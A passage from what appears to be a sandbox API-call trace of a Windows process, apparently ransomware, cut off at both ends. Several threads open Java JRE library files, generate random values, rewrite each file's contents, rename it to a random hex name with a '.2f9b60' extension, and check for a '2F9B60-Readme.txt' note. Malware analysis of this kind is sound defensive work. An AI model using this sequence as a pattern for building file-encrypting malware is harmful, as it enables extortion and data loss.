BaseAddress=0x1cd9eeb0) returned 1 [0141.756] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0141.756] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe410) returned 1 [0141.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1694d0) returned 1 [0141.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdc60) returned 1 [0141.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe020) returned 1 [0141.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdbd0) returned 1 [0141.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd7e0) returned 1 [0141.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdde0) returned 1 [0141.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd810) returned 1 [0141.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd690) returned 1 [0141.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x42061530 [0141.758] wcscat (in: _Dest=0x42061530, _Source="88afb560e7" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\88afb560e7") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\88afb560e7" [0141.758] wcscat (in: _Dest=0x42061530, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\88afb560e7.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\88afb560e7.2f9b60" [0141.758] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\88afb560e7.2f9b60", NtPathName=0x373efe30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\88afb560e7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0141.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b08d0 [0141.758] NtSetInformationFile (FileHandle=0x1f34, IoStatusBlock=0x373efed0, FileInformation=0x202b08d0, Length=0x8c, FileInformationClass=0xa) returned 0x0 [0145.242] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b08d0) returned 1 [0145.242] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecc740) returned 1 [0145.242] NtQueryInformationFile (in: FileHandle=0x1f34, IoStatusBlock=0x373efe98, FileInformation=0x373efea8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x373efe98, FileInformation=0x373efea8) returned 0x0 [0145.242] NtSetInformationFile (FileHandle=0x1f34, IoStatusBlock=0x373efe98, FileInformation=0x373efea8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0145.272] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061530) returned 1 [0145.273] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9d730) returned 1 [0145.273] FlushFileBuffers (hFile=0x1f34) returned 1 [0145.281] CloseHandle (hObject=0x1f34) returned 1 [0145.283] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061530 [0145.283] wcscpy (in: _Dest=0x42061530, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0145.283] wcscat (in: _Dest=0x42061530, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" [0145.283] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\2f9b60-readme.txt")) returned 0x20 [0147.313] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061530) returned 1 [0147.313] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b864680) returned 1 Thread: id = 2092 os_tid = 0x13d8 [0138.573] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\net.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\net.properties")) returned 0x20 [0140.464] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\net.properties", dwFileAttributes=0x20) returned 1 [0140.827] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\net.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\net.properties"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f60 [0141.726] GetFileSizeEx (in: hFile=0x1f60, lpFileSize=0x3717faa0 | out: lpFileSize=0x3717faa0*=3070) returned 1 [0141.726] SetFilePointerEx (in: hFile=0x1f60, liDistanceToMove=0xbfa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.726] ReadFile (in: hFile=0x1f60, lpBuffer=0x3717fa20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3717fa68, lpOverlapped=0x0 | out: lpBuffer=0x3717fa20*, lpNumberOfBytesRead=0x3717fa68*=0x4, lpOverlapped=0x0) returned 1 [0141.792] SetFilePointerEx (in: hFile=0x1f60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdc90 [0141.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd6c0 [0141.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd720 [0141.793] NtQuerySystemTime (in: CurrentTime=0x3717f960 | out: CurrentTime=0x3717f960*=132462177470374000) returned 0x0 [0141.793] RtlRandomEx (in: Seed=0x3717f950 | out: Seed=0x3717f950) returned 0x5033cc2f [0141.793] RtlRandomEx (in: Seed=0x3717f950 | out: Seed=0x3717f950) returned 0x4eb54554 [0141.793] RtlRandomEx (in: Seed=0x3717f950 | out: Seed=0x3717f950) returned 0x21294983 [0141.793] RtlRandomEx (in: Seed=0x3717f950 | out: Seed=0x3717f950) returned 0x4856af62 [0141.793] RtlRandomEx (in: Seed=0x3717f950 | out: Seed=0x3717f950) returned 0x34ccb0b9 [0141.793] RtlRandomEx (in: Seed=0x3717f950 | out: Seed=0x3717f950) returned 0xa24ab7c [0141.793] RtlRandomEx (in: Seed=0x3717f950 | out: Seed=0x3717f950) returned 0x359c7650 [0141.793] RtlRandomEx (in: Seed=0x3717f950 | out: Seed=0x3717f950) returned 0x313efaa9 [0141.793] RtlRandomEx (in: Seed=0x3717f950 | out: Seed=0x3717f950) returned 0x4c53668e [0141.793] RtlRandomEx (in: Seed=0x3717f950 | out: Seed=0x3717f950) returned 0x4db5d708 [0141.793] RtlRandomEx (in: Seed=0x3717f950 | out: Seed=0x3717f950) returned 0x140acbc3 [0141.793] RtlRandomEx (in: Seed=0x3717f950 | out: Seed=0x3717f950) returned 0x117b76b6 [0141.793] RtlRandomEx (in: Seed=0x3717f950 | out: Seed=0x3717f950) returned 0x652ac7a0 [0141.793] RtlRandomEx (in: Seed=0x3717f950 | out: Seed=0x3717f950) returned 0x56690d05 [0141.793] RtlRandomEx (in: Seed=0x3717f950 | out: Seed=0x3717f950) returned 0x1351fe57 [0141.793] RtlRandomEx (in: Seed=0x3717f950 | out: Seed=0x3717f950) returned 0x6d170206 [0141.793] RtlRandomEx (in: Seed=0x3717f950 | out: Seed=0x3717f950) returned 0x7c5db937 [0141.794] RtlRandomEx (in: Seed=0x3717f950 | out: Seed=0x3717f950) returned 0x30918622 [0141.794] RtlRandomEx (in: Seed=0x3717f950 | out: Seed=0x3717f950) returned 0x46aa37e2 [0141.794] RtlRandomEx (in: Seed=0x3717f950 | out: Seed=0x3717f950) returned 0x594aca17 [0141.794] RtlRandomEx (in: Seed=0x3717f950 | out: Seed=0x3717f950) returned 0x29f73b2f [0141.794] RtlRandomEx (in: Seed=0x3717f950 | out: Seed=0x3717f950) returned 0x62c2aac5 [0141.794] RtlRandomEx (in: Seed=0x3717f950 | out: Seed=0x3717f950) returned 0x111e94a8 [0141.794] RtlRandomEx (in: Seed=0x3717f950 | out: Seed=0x3717f950) returned 0x76910e9b [0141.794] RtlRandomEx (in: Seed=0x3717f950 | out: Seed=0x3717f950) returned 0x3ce4ba08 [0141.794] RtlRandomEx (in: Seed=0x3717f950 | out: Seed=0x3717f950) returned 0x55527649 [0141.794] RtlRandomEx (in: Seed=0x3717f950 | out: Seed=0x3717f950) returned 0x3c29e432 [0141.794] RtlRandomEx (in: Seed=0x3717f950 | out: Seed=0x3717f950) returned 0x47ab4c62 [0141.794] RtlRandomEx (in: Seed=0x3717f950 | out: Seed=0x3717f950) returned 0x304a2373 [0141.794] RtlRandomEx (in: Seed=0x3717f950 | out: Seed=0x3717f950) returned 0x28e5b81e [0141.794] RtlRandomEx (in: Seed=0x3717f950 | out: Seed=0x3717f950) returned 0x4a0ba0c4 [0141.794] RtlRandomEx (in: Seed=0x3717f950 | out: Seed=0x3717f950) returned 0x2bb13eb9 [0141.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe050 [0141.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420616b0 [0141.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe1d0 [0141.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420616b0) returned 1 [0141.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd720) returned 1 [0141.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdc90) returned 1 [0141.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ba0 [0141.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420616b0 [0141.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdc90 [0141.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdc90) returned 1 [0141.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42293dd0 [0141.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422979e0 [0141.803] ReadFile (in: hFile=0x1f60, lpBuffer=0x42293dd0, nNumberOfBytesToRead=0xbfe, lpNumberOfBytesRead=0x3717f950, lpOverlapped=0x0 | out: lpBuffer=0x42293dd0*, lpNumberOfBytesRead=0x3717f950*=0xbfe, lpOverlapped=0x0) returned 1 [0141.803] SetFilePointerEx (in: hFile=0x1f60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.803] WriteFile (in: hFile=0x1f60, lpBuffer=0x422979e0*, nNumberOfBytesToWrite=0xbfe, lpNumberOfBytesWritten=0x3717f954, lpOverlapped=0x0 | out: lpBuffer=0x422979e0*, lpNumberOfBytesWritten=0x3717f954*=0xbfe, lpOverlapped=0x0) returned 1 [0141.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe230 [0141.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe200 [0141.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe200) returned 1 [0141.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422979e0) returned 1 [0141.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42293dd0) returned 1 [0141.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420616b0) returned 1 [0141.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0141.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9f5b0 [0141.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ba0 [0141.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420616b0 [0141.904] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe200 [0141.904] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe200) returned 1 [0141.904] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9fbf0 [0141.904] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe200 [0141.904] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe140 [0141.904] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe140) returned 1 [0141.904] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420616b0) returned 1 [0141.905] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0141.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10e) returned 0x1674c0 [0141.905] SetFilePointerEx (in: hFile=0x1f60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0141.905] WriteFile (in: hFile=0x1f60, lpBuffer=0x1674c0*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3717fa70, lpOverlapped=0x0 | out: lpBuffer=0x1674c0*, lpNumberOfBytesWritten=0x3717fa70*=0x10e, lpOverlapped=0x0) returned 1 [0141.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059bf0 [0141.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420616b0 [0141.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd690 [0141.966] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd690) returned 1 [0141.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x204fd690 [0141.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe440 [0141.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe3b0 [0141.966] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe3b0) returned 1 [0141.966] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420616b0) returned 1 [0141.966] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059bf0) returned 1 [0141.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x42059bf0 [0141.966] sprintf (in: _Dest=0x42059bf0, _Format="%c%c" | out: _Dest="d3") returned 2 [0141.967] sprintf (in: _Dest=0x42059bf2, _Format="%c%c" | out: _Dest="d0") returned 2 [0141.967] sprintf (in: _Dest=0x42059bf4, _Format="%c%c" | out: _Dest="14") returned 2 [0141.967] sprintf (in: _Dest=0x42059bf6, _Format="%c%c" | out: _Dest="09") returned 2 [0141.967] sprintf (in: _Dest=0x42059bf8, _Format="%c%c" | out: _Dest="bc") returned 2 [0141.967] sprintf (in: _Dest=0x42059bfa, _Format="%c%c" | out: _Dest="d1") returned 2 [0141.967] sprintf (in: _Dest=0x42059bfc, _Format="%c%c" | out: _Dest="6a") returned 2 [0141.967] sprintf (in: _Dest=0x42059bfe, _Format="%c%c" | out: _Dest="f7") returned 2 [0141.967] sprintf (in: _Dest=0x42059c00, _Format="%c%c" | out: _Dest="0d") returned 2 [0141.967] sprintf (in: _Dest=0x42059c02, _Format="%c%c" | out: _Dest="57") returned 2 [0141.967] sprintf (in: _Dest=0x42059c04, _Format="%c%c" | out: _Dest="47") returned 2 [0141.967] sprintf (in: _Dest=0x42059c06, _Format="%c%c" | out: _Dest="2c") returned 2 [0141.967] sprintf (in: _Dest=0x42059c08, _Format="%c%c" | out: _Dest="8f") returned 2 [0141.967] sprintf (in: _Dest=0x42059c0a, _Format="%c%c" | out: _Dest="29") returned 2 [0141.967] sprintf (in: _Dest=0x42059c0c, _Format="%c%c" | out: _Dest="22") returned 2 [0141.967] sprintf (in: _Dest=0x42059c0e, _Format="%c%c" | out: _Dest="c4") returned 2 [0141.967] sprintf (in: _Dest=0x42059c10, _Format="%c%c" | out: _Dest="7d") returned 2 [0141.967] sprintf (in: _Dest=0x42059c12, _Format="%c%c" | out: _Dest="d8") returned 2 [0141.967] sprintf (in: _Dest=0x42059c14, _Format="%c%c" | out: _Dest="48") returned 2 [0141.967] sprintf (in: _Dest=0x42059c16, _Format="%c%c" | out: _Dest="58") returned 2 [0141.967] sprintf (in: _Dest=0x42059c18, _Format="%c%c" | out: _Dest="c6") returned 2 [0141.967] sprintf (in: _Dest=0x42059c1a, _Format="%c%c" | out: _Dest="7f") returned 2 [0141.967] sprintf (in: _Dest=0x42059c1c, _Format="%c%c" | out: _Dest="28") returned 2 [0141.967] sprintf (in: _Dest=0x42059c1e, _Format="%c%c" | out: _Dest="1e") returned 2 [0141.967] sprintf (in: _Dest=0x42059c20, _Format="%c%c" | out: _Dest="41") returned 2 [0141.967] sprintf (in: _Dest=0x42059c22, _Format="%c%c" | out: _Dest="9c") returned 2 [0141.967] sprintf (in: _Dest=0x42059c24, _Format="%c%c" | out: _Dest="ce") returned 2 [0141.967] sprintf (in: _Dest=0x42059c26, _Format="%c%c" | out: _Dest="0a") returned 2 [0141.967] RtlInitAnsiString (in: DestinationString=0x3717fae8, SourceString="d3d01409bcd16af70d57472c8f2922c47dd84858c67f281e419cce0a" | out: DestinationString="d3d01409bcd16af70d57472c8f2922c47dd84858c67f281e419cce0a") [0141.968] RtlAnsiStringToUnicodeString (in: DestinationString=0x3717fab8, SourceString="d3d01409bcd16af70d57472c8f2922c47dd84858c67f281e419cce0a", AllocateDestinationString=1 | out: DestinationString="d3d01409bcd16af70d57472c8f2922c47dd84858c67f281e419cce0a") returned 0x0 [0141.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x42061bb0 [0141.968] RtlFreeAnsiString (AnsiString="d") [0141.968] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059bf0) returned 1 [0141.968] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd690) returned 1 [0141.968] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe440) returned 1 [0141.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1674c0) returned 1 [0141.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fbf0) returned 1 [0141.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe200) returned 1 [0141.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f5b0) returned 1 [0141.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe230) returned 1 [0141.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd6c0) returned 1 [0141.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe050) returned 1 [0141.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe1d0) returned 1 [0141.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x420616b0 [0141.970] wcscat (in: _Dest=0x420616b0, _Source="d3d01409bcd16a" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\d3d01409bcd16a") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\d3d01409bcd16a" [0141.970] wcscat (in: _Dest=0x420616b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\d3d01409bcd16a.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\d3d01409bcd16a.2f9b60" [0141.970] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\d3d01409bcd16a.2f9b60", NtPathName=0x3717fa90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\d3d01409bcd16a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0141.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x202b0150 [0141.970] NtSetInformationFile (FileHandle=0x1f60, IoStatusBlock=0x3717fb30, FileInformation=0x202b0150, Length=0x94, FileInformationClass=0xa) returned 0x0 [0146.043] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0150) returned 1 [0146.043] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecf300) returned 1 [0146.043] NtQueryInformationFile (in: FileHandle=0x1f60, IoStatusBlock=0x3717faf8, FileInformation=0x3717fb08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3717faf8, FileInformation=0x3717fb08) returned 0x0 [0146.043] NtSetInformationFile (FileHandle=0x1f60, IoStatusBlock=0x3717faf8, FileInformation=0x3717fb08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0147.300] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420616b0) returned 1 [0147.300] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061bb0) returned 1 [0147.300] FlushFileBuffers (hFile=0x1f60) returned 1 [0147.346] CloseHandle (hObject=0x1f60) returned 1 [0147.349] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504910 [0147.350] wcscpy (in: _Dest=0x20504910, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0147.350] wcscat (in: _Dest=0x20504910, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" [0147.350] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\2f9b60-readme.txt")) returned 0x20 [0147.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504910) returned 1 [0147.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b864300) returned 1 Thread: id = 2093 os_tid = 0x13dc [0138.576] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\plugin.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\plugin.jar")) returned 0x20 [0140.613] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\plugin.jar", dwFileAttributes=0x20) returned 1 [0140.830] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\plugin.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\plugin.jar"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1fd4 [0141.285] GetFileSizeEx (in: hFile=0x1fd4, lpFileSize=0x3748fc20 | out: lpFileSize=0x3748fc20*=1924760) returned 1 [0141.285] SetFilePointerEx (in: hFile=0x1fd4, liDistanceToMove=0x1d5e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.285] ReadFile (in: hFile=0x1fd4, lpBuffer=0x3748fba0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3748fbe8, lpOverlapped=0x0 | out: lpBuffer=0x3748fba0*, lpNumberOfBytesRead=0x3748fbe8*=0x4, lpOverlapped=0x0) returned 1 [0141.326] SetFilePointerEx (in: hFile=0x1fd4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fded0 [0141.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fde10 [0141.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd780 [0141.327] NtQuerySystemTime (in: CurrentTime=0x3748fae0 | out: CurrentTime=0x3748fae0*=132462177465694000) returned 0x0 [0141.327] RtlRandomEx (in: Seed=0x3748fad0 | out: Seed=0x3748fad0) returned 0x47c90477 [0141.327] RtlRandomEx (in: Seed=0x3748fad0 | out: Seed=0x3748fad0) returned 0x14f2daa [0141.327] RtlRandomEx (in: Seed=0x3748fad0 | out: Seed=0x3748fad0) returned 0x4c992ba8 [0141.327] RtlRandomEx (in: Seed=0x3748fad0 | out: Seed=0x3748fad0) returned 0x454eb26e [0141.327] RtlRandomEx (in: Seed=0x3748fad0 | out: Seed=0x3748fad0) returned 0x407facd0 [0141.327] RtlRandomEx (in: Seed=0x3748fad0 | out: Seed=0x3748fad0) returned 0x7fb7c984 [0141.327] RtlRandomEx (in: Seed=0x3748fad0 | out: Seed=0x3748fad0) returned 0x376daed5 [0141.327] RtlRandomEx (in: Seed=0x3748fad0 | out: Seed=0x3748fad0) returned 0x17eea733 [0141.327] RtlRandomEx (in: Seed=0x3748fad0 | out: Seed=0x3748fad0) returned 0x7715abfb [0141.327] RtlRandomEx (in: Seed=0x3748fad0 | out: Seed=0x3748fad0) returned 0x4e360496 [0141.327] RtlRandomEx (in: Seed=0x3748fad0 | out: Seed=0x3748fad0) returned 0x46f52b46 [0141.327] RtlRandomEx (in: Seed=0x3748fad0 | out: Seed=0x3748fad0) returned 0x720bbbed [0141.327] RtlRandomEx (in: Seed=0x3748fad0 | out: Seed=0x3748fad0) returned 0x31a770e7 [0141.327] RtlRandomEx (in: Seed=0x3748fad0 | out: Seed=0x3748fad0) returned 0x4548c9c6 [0141.327] RtlRandomEx (in: Seed=0x3748fad0 | out: Seed=0x3748fad0) returned 0x3c257d35 [0141.327] RtlRandomEx (in: Seed=0x3748fad0 | out: Seed=0x3748fad0) returned 0x7e228d5c [0141.327] RtlRandomEx (in: Seed=0x3748fad0 | out: Seed=0x3748fad0) returned 0x4387210d [0141.327] RtlRandomEx (in: Seed=0x3748fad0 | out: Seed=0x3748fad0) returned 0x7c91398e [0141.327] RtlRandomEx (in: Seed=0x3748fad0 | out: Seed=0x3748fad0) returned 0x5e61ada8 [0141.327] RtlRandomEx (in: Seed=0x3748fad0 | out: Seed=0x3748fad0) returned 0x449593d2 [0141.327] RtlRandomEx (in: Seed=0x3748fad0 | out: Seed=0x3748fad0) returned 0x3d404101 [0141.328] RtlRandomEx (in: Seed=0x3748fad0 | out: Seed=0x3748fad0) returned 0x5ec38bff [0141.328] RtlRandomEx (in: Seed=0x3748fad0 | out: Seed=0x3748fad0) returned 0x635515bc [0141.328] RtlRandomEx (in: Seed=0x3748fad0 | out: Seed=0x3748fad0) returned 0x36b91ec4 [0141.328] RtlRandomEx (in: Seed=0x3748fad0 | out: Seed=0x3748fad0) returned 0x37af86e7 [0141.328] RtlRandomEx (in: Seed=0x3748fad0 | out: Seed=0x3748fad0) returned 0xcc7f8d7 [0141.328] RtlRandomEx (in: Seed=0x3748fad0 | out: Seed=0x3748fad0) returned 0x5fa9844f [0141.328] RtlRandomEx (in: Seed=0x3748fad0 | out: Seed=0x3748fad0) returned 0x7ea8db83 [0141.328] RtlRandomEx (in: Seed=0x3748fad0 | out: Seed=0x3748fad0) returned 0x5965cad0 [0141.328] RtlRandomEx (in: Seed=0x3748fad0 | out: Seed=0x3748fad0) returned 0x2397cb0b [0141.328] RtlRandomEx (in: Seed=0x3748fad0 | out: Seed=0x3748fad0) returned 0x19cfc802 [0141.328] RtlRandomEx (in: Seed=0x3748fad0 | out: Seed=0x3748fad0) returned 0x792a48ad [0141.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd750 [0141.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061930 [0141.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd690 [0141.338] RtlFreeHeap (HeapHandle=0xa0000, 